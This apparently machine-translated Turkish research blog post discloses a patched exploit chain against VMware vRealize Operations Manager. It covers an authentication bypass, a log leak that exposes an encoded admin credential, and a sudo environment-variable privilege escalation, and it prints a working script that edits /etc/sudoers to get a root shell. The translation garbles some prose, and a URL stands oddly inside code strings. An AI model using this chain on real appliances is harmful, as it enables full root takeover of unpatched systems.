VMWare vRealize Operations Manager’da Önceden Kimliği Doğrulanmış RCE


vRO'lar

27 Mayıs’ta, VMWare’de vRealize Operations Management Suite (vROps) cihazını etkileyen bir dizi güvenlik açığının olduğunu bildirdim. Bu blog yazısında bulduğum bazı güvenlik açıklarını, bu tür güvenlik açıklarını bulmanın ardındaki motivasyonu ve şirketlerin kendilerini nasıl koruyabileceklerini tartışacağım. Araştırma projesinin sonucu, görünüşte zayıf güvenlik açıklarını kullanan, önceden kimliği doğrulanmış bir uzaktan kök istismar zinciriyle sonuçlanıyor. VMware bir öneri yayınladı ve bu güvenlik açıklarını VMSA-2022-0022’de yamaladı.

vROps saldırı akışı

Motivasyon

Bu proje, mükemmel blog yazısı tarafından motive edildi. Egolar VMware’de hataları yakalamak: Carbon Black Cloud Workload Appliance ve vRealize Operations Manager başlıklı yazı yazdı. Egor, yüksek ayrıcalıklı kimlik bilgilerini sızdırmak için önceden kimliği doğrulanmış bir SSRF kullandı ve ardından uzaktan kod yürütme elde etmek için bunu rastgele bir dosya yükleme güvenlik açığıyla zincirledi. admin.

Her zaman olduğu gibi, daha önce diğer güvenlik araştırmacıları tarafından denetlenmiş bir hedefe yönelik yüksek etkili web güvenlik açıklarını bulmak gerçek bir zorluk teşkil ediyor.

Test Edilen Sürümler

Test sırasındaki güvenlik açığı bulunan sürüm 8.6.3.19682901 en sonuncusuydu ve kullanılarak konuşlandırıldı vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova (sha1: 4637b6385db4fbee6b1150605087197f8d03ba00) dosyası. Sürüm notlarına göre 28 Nisan 2022’de yayınlandı. Bu, bulut için tasarlanmış bir Photon OS Linux dağıtımıydı.

Ayrıca daha eski bir sürümü de test ettim – 8.6.2.19081814 kullanarak vRealize-Operations-Manager-Appliance-8.6.2.19081814_OVF10.ova (sha1: 0363f4304e4661dde0607a3d22b4fb149d8a10a4) dosyasını inceleyerek güvenlik açıklarının bu sürümde de bulunduğunu doğruladı. Yazdığım son istismar her iki sürümde de çalışıyor ve aradaki herhangi bir şey üzerinde de çalışması gerekiyor!


MainPortalFilter kullanıcı arayüzü Kimlik Doğrulaması Atlaması (CVE-2022-31675)

  • CVSS: 5,6 (/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L)
  • Tavsiye: SRC-2022-0017

İlk güvenlik açığı com.vmware.vcops.ui.util.MainPortalFilter sınıf:

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        HttpServletRequest request = (HttpServletRequest)servletRequest;
        HttpServletResponse response = (HttpServletResponse)servletResponse;
        HttpSession session = request.getSession();
        // ...
        String servletPath = request.getServletPath().toLowerCase();
        UserContext userContext = UserContextVariable.get();
        // ...
        if (servletPath != null && servletPath.toLowerCase().startsWith("/contentpack/dashboard_dump/")) {
            response.setStatus(400);
        } else {
            String token1 = request.getParameter("t"); // 1

            boolean isSaasModeUser;
            boolean isResourcePath;
            boolean ssoRequested;
            try {
                if (token1 != null) { // 2
                    isSaasModeUser = UserContextVariable.isAnonymousUser();
                    DashboardLink dashboardLink = DashboardShareAction.getDashboardPublicLink(token1, (String)null); // 3
                    if (userContext == null || dashboardLink == null || (isSaasModeUser || !userContext.getUserId().equals(dashboardLink.getUserId())) && (!isSaasModeUser || !userContext.getUserKey().equals(dashboardLink.getUserId()))) {
                        //...
                        if (dashboardLink != null) { // 4
                            if (isResourcePath) {
                                response.sendRedirect("dashboardViewer.action");
                                filterChain.doFilter(request, servletResponse);
                                return;
                            }

                            if (ssoRequested) {
                                this.doSessionResolve(request, response);
                            } else {
                                session.setAttribute("token1", token1);
                                session.setAttribute("allowExternalAccess", true);
                                response.setHeader("Set-Cookie", "JSESSIONID=" + session.getId() + "; Path=/ui; Secure; HttpOnly; SameSite=None");
                                response.sendRedirect("dashboardViewer.action?mainAction=dr");
                                filterChain.doFilter(request, servletResponse); // 5
                            }
                            // ...

Şu tarihte: [1] kod bir şey arıyor t gelen istekteki parametre ve eğer bulunursa [2] kod bir bulmaya çalışır DashboardLink örneğin şu kodla [3]. O zaman eğer geçerli DashboardLink şurada bulundu [4] kod şuraya ulaşır: doFilter en [5]. Bu, geçerli bir kontrol paneli bağlantı kimliğine sahip bir saldırganın, kimlik doğrulamayı tamamen atlamasına olanak tanır. /ui/ payandaların ön ucu.

Bir yönetici paylaşmak üzere bir kontrol paneli bağlantısı oluşturduğunda Cassandra veritabanında bir giriş oluşturulur:

root@photon-machine [ ~ ]# /usr/lib/vmware-vcops/cassandra/apache-cassandra-3.11.11/bin/cqlsh.py --ssl --cqlshrc /usr/lib/vmware-vcops/user/conf/cassandra/cqlshrc
Connected to VROps Cluster at 127.0.0.1:9042.
[cqlsh 5.0.1 | Cassandra 3.11.11 | CQL spec 3.4.4 | Native protocol v4]
Use HELP for help.
vcops_user@cqlsh> select key from globalpersistence.dashboardpubliclinks;

 key
--------------------------
 vcgh5fgjhs_::_ns3d5yt5vk

(1 row)
vcops_user@cqlsh>

Tasarım gereği ve hatta kontrol paneli bağlantıları oluşturmak ve paylaşmak yaygındır. beklenen bir sayfaya yerleştirilecek:

Bağlantıya geçerli bir oturum olmadan eriştikten sonra ilgili kontrol panelini görüntüleyebiliriz:

Burada dikkat edilmesi gereken ilginç şey, 443 numaralı bağlantı noktasının sözde açığa çıkacak çünkü kontrol paneli bağlantıları başka nasıl paylaşılabilir?

Sömürü

Sunucu 302 yönlendirmesiyle yanıt verdiği için bu güvenlik açığını kullanarak doğrudan veri sızdırmak mümkün değildir. İlk başta, verileri değiştirmek için yalnızca uç noktalara gelen istekleri yanıtlayabildiğim tavuk ve yumurta sorunuyla karşı karşıya olduğumu düşündüm, ancak yönlendirme nedeniyle onları geri okuyamadığım için CSRF belirteçlerini kullanamadım! Aman tanrım! Ancak dikkatli inceleme sonrasında bir kullanıcı oluşturabileceğimi fark ettim ve ihmal etmek the secureToken CSRF belirteci. Bunun nedeni çağrının doFilter çağrıdan çok önce 120. hattan vuruldu checkSecureToken 345 numaralı hatta!

Bu güvenlik açığının ek bir avantajı da, bir saldırganın, bir kişiyi kötü amaçlı bir web sitesine bağlayarak uygulamanın yönetici kullanıcısına arka kapı açabilmesidir. Ancak bunları bir araya getirirsek, paylaşılan bir kontrol paneli bağlantım varsa, etkileşime girmeden yönetici kullanıcıyla uygulamaya arka kapı açabilirim. Oluşturulan kullanıcı aşağıdakilerle sınırlıdır: /ui/ Ve /suite-api/ arayüzler ancak erişmek istedim /admin/ çünkü bu bileşende SSH erişimini etkinleştirerek sonsuza kadar uzaktan kod yürütme olanağı mevcuttur.

Görünüşe göre başka bir güvenlik açığını daha avlamamız gerekecek!

SupportLogAction Bilgi Açıklaması (CVE-2022-31674)

  • CVSS: 6,5 (/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • Tavsiye: SRC-2022-0019

İçinde com.vmware.vcops.ui.action.SupportLogsAction class’ta aşağıdaki girişi buluyoruz:

                if (this.mainAction.equals("getLogFileContents")) { // 1
                    lduId = this.request.getParameter("instanceId");
                    instanceId = this.request.getParameter("fileName"); // 2
                    boolean allowedFileName = WebUtils.isAllowedFileName(instanceId); // 3
                    if (!allowedFileName) {
                        this.writeJsonOutput("{status: 'can not complete request, invalid file type or pattern'}");
                        return null;
                    } else {
                        lduId = this.request.getParameter("lduId");
                        logTypeStr = this.request.getParameter("logType");
                        LogType logType = LogType.fromString(logTypeStr);
                        linePosition = this.request.getParameter("linePosition").isEmpty() ? -1 : Integer.parseInt(this.request.getParameter("linePosition"));
                        int lineLimit = this.request.getParameter("lineLimit").isEmpty() ? 1000 : Integer.parseInt(this.request.getParameter("lineLimit"));
                        if (!lduId.isEmpty() && !instanceId.isEmpty() && !lduId.isEmpty() && logType != null && lineLimit >= 0) {
                            ResultDto<LogFileContentsDTO> fileContent = this.dataRetriever.getSupportLogFileContents(lduId, logType, lduId, instanceId, linePosition, lineLimit); // 4
                            // ...
                        } else {
                            this.writeJsonOutput("{status: 'can not request, missing some params'}");
                            return null;
                        }
                    }
                }

Şu tarihte: [1] kod şunları kontrol eder: mainAction değeri olacak parametre getLogFileContents. sonra [2] kod alır fileName parametre ve [3] kod çağrıları isAllowedFileName üzerinde. Bu benim için bir hediyeydi:

    public static Boolean isAllowedFileName(String fileName) {
        if (!fileName.matches(".*\\.(?i)(log|txt|out|current)(\\.\\d+)?$")) {
            return false;
        } else {
            String nonEncodedFileName = fileName.replaceAll("(?i)(%2e|%252e)", ".");
            nonEncodedFileName = nonEncodedFileName.replaceAll("(?i)(%2f|%252f|%5c|%255c|\\\\)", "https://srcincite.io/");
            return nonEncodedFileName.contains("../") ? false : true;
        }
    }

Esasen kod herhangi bir günlük dosyasını arıyor /storage/log/vcops/log/ dizin.

Sömürü

Sorun, Pak yöneticisinin hassas şifreleri günlük dosyalarına yazmasıyla ilgilidir:

root@photon-machine [ /storage/log/vcops/log/pakManager ]# grep -lir "bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ="
APUAT-86018696447/apply_system_update_stderr.log
APUAT-85018176777/apply_system_update_stderr.log
vcopsPakManager.root.post_apply_system_update.log.1

Örneğin, APUAT-86018696447/apply_system_update_stderr.log görüyoruz:

DEBUG - Calling GET: /casa/security/ping, headers: {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-vRealizeOps-API-use-unsupported': 'true', 'Authorization': 'Basic bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ='}

Bu, meşru bir Pak dosyası yüklendiğinde ve bir yükleme tetiklendiğinde meydana gelir. İlk başta güvenlik açığının bu tür hassas verileri günlüğe kaydetmeye yönelik Pak yöneticisinde olduğu görülüyor, ancak gerçek güvenlik açığı daha düşük ayrıcalıklı bir kullanıcıya maruz kalmadadır. VMWare, Pak yönetici arayüzünü /ui/ ve gizlilik yoluyla biraz güvenlik uygulamaya çalıştı!

Bu güvenlik açığını kullanarak, sızdırmayı başardım. maintenanceAdmin kullanıcı için bir parola sıfırlama işlemini tetikleyin ve admin kullanıcı çünkü SSH aracılığıyla uzaktan giriş yapabilen kullanıcı:

root@photon-machine [ ~ ]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1003::/home/admin:/bin/bash
postgres:x:1001:100::/var/vmware/vpostgres/11:/bin/bash

İlk başta kontrol ettiğimde bu noktada root olarak yeterli ayrıcalıklara sahip olduğumu düşündüm, ancak öyle olmadığı ortaya çıktı.

admin@photon-machine [ ~ ]$ id
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
admin@photon-machine [ ~ ]$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied

Bu da daha fazla böcek avlama ve zincirleme anlamına geliyor!

createdSupportBundle VCOPS_BASE Ayrıcalık Yükseltmesi (CVE-2022-31672)

  • CVSS: 7,2 (/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
  • Tavsiye: SRC-2022-0020

İçinde /etc/sudoers dosyasında aşağıdaki girişi buluyoruz:

admin ALL = NOPASSWD: /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py *

Bu, düşük ayrıcalıklı kullanıcıların komut dosyasını kullanarak root olarak çalıştırmasına olanak tanır. sudo. İçinde generateSupportBundle.py bulduğumuz dosya:

try:
    VCOPS_BASE = os.environ['VCOPS_BASE'] # 1
except KeyError as ex:
    # In cloudvm, this could happen - for example, if caller like cis
    # has not called the /etc/profile.d/vcops.sh.
    filePath = os.path.dirname(os.path.realpath( __file__ ))
    # Since this file is located at $VCOPS_BASE/tools, we can use relative path
    VCOPS_BASE =  os.path.abspath(filePath + "/..")
VCOPS_BASE=VCOPS_BASE.replace('\\', "https://srcincite.io/")
commonLib = VCOPS_BASE + '/install/'
sys.path.append(commonLib)

Kod büyük ölçüde şunlara bağlıdır: VCOPS_BASE ortam değişkeni [1]. Betiği çalıştırırken aşağıdaki kod yürütülür:

ds = []
if options.get("action") is None:
    options["action"] = 'create'
#...
if options.get("action") == 'create':
    runGssTroubleShootingScript() # 2

runGssTroubleShootingScript eylem sağlanmadıysa yöntem çağrılır [2].

def runGssTroubleShootingScript():
    gss_troubleshooting_script_path = os.path.join(find_vcops_base_path(), "..", "vmware-vcopssuite", "utilities", "bin") # 3

    try:
        output = subprocess.Popen("{0}/gss_troubleshooting.sh".format(gss_troubleshooting_script_path))
    except subprocess.CalledProcessError as e:
        print ('Failed to run gss troubleshooting script, error code {0}:'.format(e.returncode))

Şu tarihte: [3]bu yöntem çalıştırılabilir bir betiği root olarak çağırmaya çalışır ve find_vcops_base_path betiğin yol konumunu almak için:

def find_vcops_base_path():
    """Finds the VCOPS_BASE environment variable.
    @return: the VCOPS_BASE path or an exception if it cannot be found.
    """
    if 'VCOPS_BASE' in os.environ:
        vcops_base_path = os.environ['VCOPS_BASE'] # 4
    elif 'ALIVE_BASE' in os.environ:
        vcops_base_path = os.environ['ALIVE_BASE']
   # ...
   return vcops_base_path # 5

Şu tarihte: [4] Ve [5] eğer VCOPS_BASE ortam değişkeni ayarlandığında, bunu döndürecektir.

Sömürü

Bir saldırganın yapması gereken tek şey, ayrıcalıkları yükseltmek için betiği çağırmadan önce ortam değişkenini ayarlamaktır.

#!/bin/sh
mkdir -p poc
mkdir -p vmware-vcopssuite/utilities/bin/
cat <<EOT > vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
#!/bin/sh
echo "admin ALL = NOPASSWD: ALL" >> /etc/sudoers
EOT
chmod 755 vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
sudo VCOPS_BASE=poc /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py test > /dev/null 2>&1
sudo rm -rf poc
sudo rm -rf vmware-vcopssuite
sudo sh
sudo sed -i '$ d' /etc/sudoers

Kavram Kanıtı

Bu istismarın adı DashOverride’dır ve buradan indirebilirsiniz.

Kök olarak önceden kimliği doğrulanmış uzaktan kod yürütme olanağına sahip olun!


Çözüm

3 güvenlik açığına ilişkin CVSS puanlarının her biri orta/yüksek olarak derecelendirilmiştir ve kendi başlarına değerlendirildiğinde oldukça zayıftırlar. Ancak bunların birbirine zincirlenmesinin etkisi önemlidir ve tehdit modelinize bağlı olarak, kimlik doğrulamayı atlama senaryosu, kontrol paneli bağlantılarının kuruluşunuz içinde paylaşılması veya çevrede açığa çıkması durumunda gerçek bir tehdit oluşturabilir.

Bazılarınız sorabilir, peki bunların herhangi biri için ödül aldınız mı? Kısa cevap burada… HAYIR.

Referanslar





Source link